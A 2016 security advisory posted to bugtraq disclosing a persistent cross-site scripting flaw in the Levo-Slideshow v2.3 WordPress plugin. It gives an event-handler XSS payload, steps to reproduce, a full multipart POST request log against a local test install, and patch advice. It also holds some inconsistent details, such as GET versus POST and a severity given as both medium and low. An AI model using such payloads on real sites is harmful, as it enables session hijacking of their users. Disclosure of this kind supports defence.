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Wordpress Levo-Slideshow v2.3 - Persistent Vulnerability
- To: bugtraq@xxxxxxxxxxxxxxxxx, bugs@xxxxxxxxxxxxxxxxxxx
- Subject: Wordpress Levo-Slideshow v2.3 - Persistent Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Tue, 7 Jun 2016 17:12:44 +0200
Document Title:
===============
Wordpress Levo-Slideshow v2.3 - Persistent Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1855
Release Date:
=============
2016-06-06
Vulnerability Laboratory ID (VL-ID):
====================================
1855
Common Vulnerability Scoring System:
====================================
2.5
Product & Service Introduction:
===============================
Make sure you have a Levo slideshow a very effective technique to display
unlimited number of product images within a single
box and just takes only few minutes to accomplish without getting too much into
coding. No WP slider plugin has become as
wide-spread and as popular recently as this particular free WP Levo slider,
offering a marvelous method for displaying a lot
of content in such a minimal space, and to mention also a great way to
highlight your best and most popular product images
or articles in an enhanced way. And on top off all that, this indispensable,
yet smooth and free WP slider plugin is incorporated
with amazing set of features including a colossal space set aside to main flash
image, a miniature sized image, image reflection
option, description box with title, navigation arrows, auto-play/pause button,
auto play timer into your WP powered websites or blogs.
(Copy of the Homepage: http://wpslideshow.com/levo-slidehsow/ )
Abstract Advisory Information:
==============================
An independent Vulnerability Laboratory Researcher discovered a persistent
cross site scripting vulnerability in the official Levo-Slideshow v2.3
wordpress plugin.
Vulnerability Disclosure Timeline:
==================================
2016-06-06: Public Disclosure (Aaditya Purani)
Discovery Status:
=================
Published
Affected Product(s):
====================
Go Responsive (Themes)
Product: Levo-Slideshow - Wordpress Plugin (Web-Application) 2.3
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Low
Technical Details & Description:
================================
A persistent cross site scripting web vulnerabilities has been discovered in
the official Levo-Slideshow v2.3 wordpress plugin.
The client-side validation issue allows remote attacker to inject client-side
script codes to compromise browser to application requests.
The vulnerability is located in the `image_description`parameter of the `Lenvo
Image Upload` module. Remote attackers are able to inject
client-side script code. The `image_description` value is wrong encoded and not
filtered by the regular validation. The attack vector of
the issue is client-side and the request method to execute is GET.
The security risk of the client-side vulnerabilities is estimated as medium
with a cvss (common vulnerability scoring system) count of 2.5.
Exploitation of the security vulnerability requires no a privileged
web-application user account and low user interaction.
Successful exploitation of the vulnerabilities results in session hijacking,
non-persistent phishing, non-persistent external redirects,
non-persistent load of malicious script codes or non-persistent web module
context manipulation.
Request Method(s):
[+] POST
Vulnerable Input(s):
[+] Image Title
[+] Image Description
Affected Module(s):
[+] Edit Post
Proof of Concept (PoC):
=======================
The persistent cross site scripting vulnerability can be exploited by remote
attackers without user interaction and with an uprivileged application user
account.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
PoC: Payload
t" onmouseover=alert(document.domain); a='
Manual steps to reproduce the vulnerability ...
1. Go to Levo Slideshow and click to Manage Images
2. Add an Image
Include to the Image Title input and script code payload enter the payload as
follows
Note: t" onmouseover=alert(document.domain); a='
3. Save it and Reload the Page and Game over. :)
--- PoC Session Logs [POST] ---
$GET: http://localhost:8080/wordpress/wp-admin/
Host: localhost:8080
User-Agent: {Some User-Agent}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://localhost:8080/wordpress/wp-content/plugins/wp-levoslideshow/html/edit_image.php?album_id=1&lvo_image_id=2&KeepThis=true&
Cookie: {USERS COOKIE}
Connection: keep-alive
Content-Type: multipart/form-data; boundary=
---------------------------5673975277815470452141444322
Content-Length: 1370
If-Modified-Since: *
$POST :
-----------------------------5673975277815470452141444322rn
Content-Disposition: form-data; name="task"rn
rn
lvo_single_image_uploadrn
-----------------------------5673975277815470452141444322rn
Content-Disposition: form-data; name="TB_iframe"rn
rn
1rn
-----------------------------5673975277815470452141444322rn
Content-Disposition: form-data; name="album_id"rn
rn
1rn
-----------------------------5673975277815470452141444322rn
Content-Disposition: form-data; name="image_id"rn
rn
2rn
-----------------------------5673975277815470452141444322rn
Content-Disposition: form-data; name="image_thumb"rn
rn
generatern
-----------------------------5673975277815470452141444322rn
Content-Disposition: form-data; name="image_title"rn
rn
t" onmouseover=alert(document.domain); a='rn
-----------------------------5673975277815470452141444322rn
Content-Disposition: form-data; name="image_description"rn
rn
t" onmouseover=alert(document.domain); a='rn
-----------------------------5673975277815470452141444322rn
Content-Disposition: form-data; name="image_link"rn
rn
rn
-----------------------------5673975277815470452141444322rn
Content-Disposition: form-data; name="thumb_link"rn
rn
rn
-----------------------------5673975277815470452141444322rn
Content-Disposition: form-data; name="image_file"; filename=""rn
Content-Type: application/octet-streamrn
rn
rn
-----------------------------5673975277815470452141444322--rn
Note: After this gets saved, Go to
http://localhost:8080/wordpress/wp-admin/admin.php?page=levoslideshow_manage&view=manage_album&album_id={Your
Album where you saved}
And than Click on Edit, it will Trigger :) .Click the dit button to trigger the
payload execution.
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable
marked input fields.
Encode all inputs and restrict the input by disallowing the usage of special
chars to prevent application-side injection attacks.
Security Risk:
==============
The security risk of the persistent cross site scripting web vulnerability in
the wordpress plugin is estimated as low. (CVSS 2.5)
Credits & Authors:
==================
Aaditya Purani - (https://aadityapurani.com)
[http://www.vulnerability-lab.com/show.php?user=Aaditya%20Purani]
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=========================
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